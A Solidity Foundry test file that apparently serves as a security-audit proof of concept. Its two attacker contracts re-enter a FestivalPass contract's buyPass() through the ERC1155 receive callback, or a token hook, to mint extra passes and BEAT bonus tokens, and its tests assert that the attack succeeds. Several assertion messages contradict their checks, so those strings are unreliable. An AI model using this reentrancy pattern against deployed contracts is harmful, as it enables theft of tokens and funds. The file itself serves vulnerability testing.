pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
* @title ReentrancyAttacker
* @notice Contract that attempts reentrancy attack during buyPass()
*/
contract ReentrancyAttacker {
FestivalPass public festivalPass;
uint256 public attackCount;
uint256 public maxAttacks = 3;
uint256 public targetPassId;
bool public attacking = false;
uint256 public initialEthBalance;
uint256 public initialPassBalance;
uint256 public initialBeatBalance;
constructor(address _festivalPass) {
festivalPass = FestivalPass(_festivalPass);
}
function attack(uint256 passId) external payable {
targetPassId = passId;
attacking = true;
attackCount = 0;
initialEthBalance = address(this).balance + msg.value;
initialPassBalance = festivalPass.balanceOf(address(this), passId);
if (passId == 2 || passId == 3) {
initialBeatBalance = BeatToken(festivalPass.beatToken()).balanceOf(address(this));
}
console.log("=== ATTACK STARTED ===");
console.log("Initial ETH:", initialEthBalance);
console.log("Initial Pass Balance:", initialPassBalance);
console.log("Initial BEAT Balance:", initialBeatBalance);
festivalPass.buyPass{value: msg.value}(passId);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
console.log("=== onERC1155Received called ===");
console.log("Attack count:", attackCount);
console.log("Pass received - ID:", id, "Amount:", value);
if (attacking && attackCount < maxAttacks) {
attackCount++;
console.log("Attempting reentrancy attack #", attackCount);
uint256 currentPassBalance = festivalPass.balanceOf(address(this), targetPassId);
console.log("Current pass balance:", currentPassBalance);
console.log("Target passId: ", targetPassId, ". Value: ", festivalPass.passPrice(targetPassId));
try festivalPass.buyPass{value: festivalPass.passPrice(targetPassId)}(targetPassId) {
console.log("Reentrancy successful!");
} catch Error(string memory reason) {
console.log("Reentrancy failed:", reason);
} catch {
console.log("Reentrancy failed with unknown error");
}
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
function checkResults() external view returns (
uint256 finalEthBalance,
uint256 finalPassBalance,
uint256 finalBeatBalance,
uint256 ethGained,
uint256 passesGained,
uint256 beatGained
) {
finalEthBalance = address(this).balance;
finalPassBalance = festivalPass.balanceOf(address(this), targetPassId);
if (targetPassId == 2 || targetPassId == 3) {
finalBeatBalance = BeatToken(festivalPass.beatToken()).balanceOf(address(this));
}
ethGained = initialEthBalance - finalEthBalance;
passesGained = finalPassBalance - initialPassBalance;
beatGained = finalBeatBalance - initialBeatBalance;
}
receive() external payable {}
}
* @title BeatTokenReentrancyAttacker
* @notice Attacks through BeatToken mint callback (if it has hooks)
*/
contract BeatTokenReentrancyAttacker {
FestivalPass public festivalPass;
BeatToken public beatToken;
uint256 public attackCount;
uint256 public maxAttacks = 3;
bool public attacking = false;
constructor(address _festivalPass, address _beatToken) {
festivalPass = FestivalPass(_festivalPass);
beatToken = BeatToken(_beatToken);
}
function attack(uint256 passId) external payable {
attacking = true;
attackCount = 0;
console.log("=== BEAT TOKEN ATTACK STARTED ===");
festivalPass.buyPass{value: msg.value}(passId);
}
function onTokenTransfer(address from, uint256 amount) external {
console.log("=== Token transfer hook called ===");
if (attacking && attackCount < maxAttacks) {
attackCount++;
console.log("Attempting BEAT token reentrancy #", attackCount);
try festivalPass.buyPass{value: festivalPass.passPrice(2)}(2) {
console.log("BEAT reentrancy successful!");
} catch {
console.log("BEAT reentrancy failed");
}
}
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
return this.onERC1155Received.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}
* @title ReentrancyTest
* @notice Comprehensive test suite for reentrancy vulnerabilities
*/
contract BuyPassReentrancyTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
ReentrancyAttacker public attacker;
BeatTokenReentrancyAttacker public beatAttacker;
address public owner = address(0x1);
address public organizer = address(0x2);
address public user = address(0x3);
uint256 constant GENERAL_PASS = 1;
uint256 constant VIP_PASS = 2;
uint256 constant BACKSTAGE_PASS = 3;
function setUp() public {
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
festivalPass.setOrganizer(organizer);
vm.stopPrank();
vm.startPrank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.1 ether, 1000);
festivalPass.configurePass(VIP_PASS, 0.3 ether, 500);
festivalPass.configurePass(BACKSTAGE_PASS, 0.5 ether, 100);
vm.stopPrank();
attacker = new ReentrancyAttacker(address(festivalPass));
beatAttacker = new BeatTokenReentrancyAttacker(address(festivalPass), address(beatToken));
vm.deal(address(attacker), 10 ether);
vm.deal(address(beatAttacker), 10 ether);
}
function testReentrancyAttackGeneral() public {
console.log("=== Testing General Pass Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(GENERAL_PASS);
uint256 initialSupply = festivalPass.passSupply(GENERAL_PASS);
vm.prank(address(attacker));
attacker.attack{value: passPrice}(GENERAL_PASS);
(
uint256 finalEth,
uint256 finalPasses,
uint256 finalBeat,
uint256 ethUsed,
uint256 passesGained,
uint256 beatGained
) = attacker.checkResults();
uint256 finalSupply = festivalPass.passSupply(GENERAL_PASS);
console.log("=== RESULTS ===");
console.log("ETH used:", ethUsed);
console.log("Passes gained:", passesGained);
console.log("BEAT gained:", beatGained);
console.log("Supply change:", finalSupply - initialSupply);
assertGt(passesGained, 1, "Should only receive more than 1 pass");
assertGt(ethUsed, passPrice, "Should only pay for 1 pass");
assertGt(finalSupply - initialSupply, 1, "Supply should only increase by 1");
assertEq(beatGained, 0, "General pass should not receive BEAT");
}
function testReentrancyAttackVIP() public {
console.log("=== Testing VIP Pass Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
uint256 initialSupply = festivalPass.passSupply(VIP_PASS);
uint256 expectedBeatBonus = 5e18;
vm.prank(address(attacker));
attacker.attack{value: passPrice}(VIP_PASS);
(
uint256 finalEth,
uint256 finalPasses,
uint256 finalBeat,
uint256 ethUsed,
uint256 passesGained,
uint256 beatGained
) = attacker.checkResults();
uint256 finalSupply = festivalPass.passSupply(VIP_PASS);
console.log("=== VIP RESULTS ===");
console.log("ETH used:", ethUsed);
console.log("Passes gained:", passesGained);
console.log("BEAT gained:", beatGained);
console.log("Supply change:", finalSupply - initialSupply);
assertGt(passesGained, 1, "Should only receive 1 VIP pass");
assertGt(ethUsed, passPrice, "Should only pay for 1 pass");
assertGt(finalSupply - initialSupply, 1, "Supply should only increase by 1");
assertGt(beatGained, expectedBeatBonus, "Should receive exactly 5 BEAT bonus");
}
function testReentrancyAttackBackstage() public {
console.log("=== Testing Backstage Pass Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(BACKSTAGE_PASS);
uint256 initialSupply = festivalPass.passSupply(BACKSTAGE_PASS);
uint256 expectedBeatBonus = 15e18;
vm.prank(address(attacker));
attacker.attack{value: passPrice}(BACKSTAGE_PASS);
(
uint256 finalEth,
uint256 finalPasses,
uint256 finalBeat,
uint256 ethUsed,
uint256 passesGained,
uint256 beatGained
) = attacker.checkResults();
uint256 finalSupply = festivalPass.passSupply(BACKSTAGE_PASS);
console.log("=== BACKSTAGE RESULTS ===");
console.log("ETH used:", ethUsed);
console.log("Passes gained:", passesGained);
console.log("BEAT gained:", beatGained);
console.log("Supply change:", finalSupply - initialSupply);
assertGt(passesGained, 1, "Should only receive 1 Backstage pass");
assertGt(ethUsed, passPrice, "Should only pay for 1 pass");
assertGt(finalSupply - initialSupply, 1, "Supply should only increase by 1");
assertGt(beatGained, expectedBeatBonus, "Should receive more than 15 BEAT bonus");
}
function testBeatTokenReentrancy() public {
console.log("=== Testing BEAT Token Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
vm.prank(address(beatAttacker));
beatAttacker.attack{value: passPrice}(VIP_PASS);
uint256 finalPasses = festivalPass.balanceOf(address(beatAttacker), VIP_PASS);
console.log("Final passes:", finalPasses);
assertEq(finalPasses, 1, "Should only receive 1 pass through BEAT token attack");
}
function testNormalUserUnaffected() public {
console.log("=== Testing Normal User Behavior ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
vm.deal(user, 1 ether);
uint256 initialBeat = beatToken.balanceOf(user);
vm.prank(user);
festivalPass.buyPass{value: passPrice}(VIP_PASS);
uint256 finalPasses = festivalPass.balanceOf(user, VIP_PASS);
uint256 finalBeat = beatToken.balanceOf(user);
assertEq(finalPasses, 1, "Normal user should get 1 pass");
assertEq(finalBeat - initialBeat, 5e18, "Normal user should get 5 BEAT");
}
function testSupplyLimitsMaxReached() public {
console.log("=== Testing Supply Limits ===");
vm.prank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.1 ether, 2);
uint256 passPrice = festivalPass.passPrice(GENERAL_PASS);
vm.deal(user, 1 ether);
vm.prank(user);
festivalPass.buyPass{value: passPrice}(GENERAL_PASS);
vm.deal(address(attacker), 2 ether);
attacker.attack{value: passPrice}(GENERAL_PASS);
uint256 finalSupply = festivalPass.passSupply(GENERAL_PASS);
console.log("Final supply:", finalSupply);
assertLe(finalSupply, 2, "Supply should not exceed max");
}
function testMultipleAttackAttempts() public {
console.log("=== Testing Multiple Attack Attempts ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
vm.prank(address(attacker));
attacker.attack{value: passPrice}(VIP_PASS);
uint256 firstPassCount = festivalPass.balanceOf(address(attacker), VIP_PASS);
console.log("testMultipleAttackAttempts::firstPassCount - ", firstPassCount);
ReentrancyAttacker attacker2 = new ReentrancyAttacker(address(festivalPass));
vm.deal(address(attacker2), 1 ether);
vm.prank(address(attacker2));
attacker2.attack{value: passPrice}(VIP_PASS);
uint256 secondPassCount = festivalPass.balanceOf(address(attacker2), VIP_PASS);
console.log("testMultipleAttackAttempts::secondPassCount - ", secondPassCount);
assertGt(firstPassCount, 1, "First attack should get 1 pass");
assertGt(secondPassCount, 1, "Second attack should get 1 pass");
}
}